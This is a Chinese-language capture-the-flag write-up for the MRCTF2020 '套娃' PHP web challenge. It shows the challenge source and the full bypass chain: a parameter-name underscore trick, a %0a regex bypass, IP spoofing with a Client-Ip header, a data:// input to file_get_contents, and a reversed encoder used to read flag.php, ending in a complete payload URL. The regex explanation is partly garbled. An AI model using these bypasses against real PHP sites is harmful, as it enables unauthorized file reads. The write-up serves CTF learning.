[MRCTF2020]套娃
一。
按F12看源代码
发现代码
读代码发现
1.我们传的参数中不能存在_
和%5f
,可以通过使用空格来代替_,还是能够上传成功。
2.正则表达式"/^23333/ " ,开头结尾都被 " " 和 " /",开头结尾都被"^"和"/",开头结尾都被"
"和""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过
上传
二。
转到secrettw.php
发现什么都没有还看源代码
将这些复制放入控制台
要求POST一个 Merak(传任何数都可以)
三。
先看代码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){ //可以通过反写将flag.php传入
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
得到信息
1.ip不对,需要127.0.0.1。抓包
数据包传递ip我知道有两种。
X-Forwarded-For:127.0.0.1
Client-Ip:127.0.0.1
都试一下,第二个正确
2.get参数2333传来的值,使用文件流打开后内容为todat is a happy day
3.file_get_contents用php伪协议绕过
解释:
让 file_get_contents($_GET['2333'])
返回字符串 todat is a happy day
。此时有两种常见思路:
-
直接读取本地文件
例如传递?2333=/path/to/file.txt
,但需要提前知道服务器上存在一个包含目标字符串的文件,这在CTF中通常不可行。 -
利用伪协议动态构造数据
data://
协议允许直接在URL中内联数据,无需依赖外部文件或网络请求。这是最直接且可控的方式。
?2333=data:text/plain,todat%20is%20a%20happy%20day
4.反写change加密函数
我是直接交给AI得到 fj]a&f\b
也可以用PHP代码写
<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
$re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>
Base64编码:ZmpdYSZmXGI=
所以最后为?2333=data://text/plain,todat is a happy day &file=ZmpdYSZmXGI=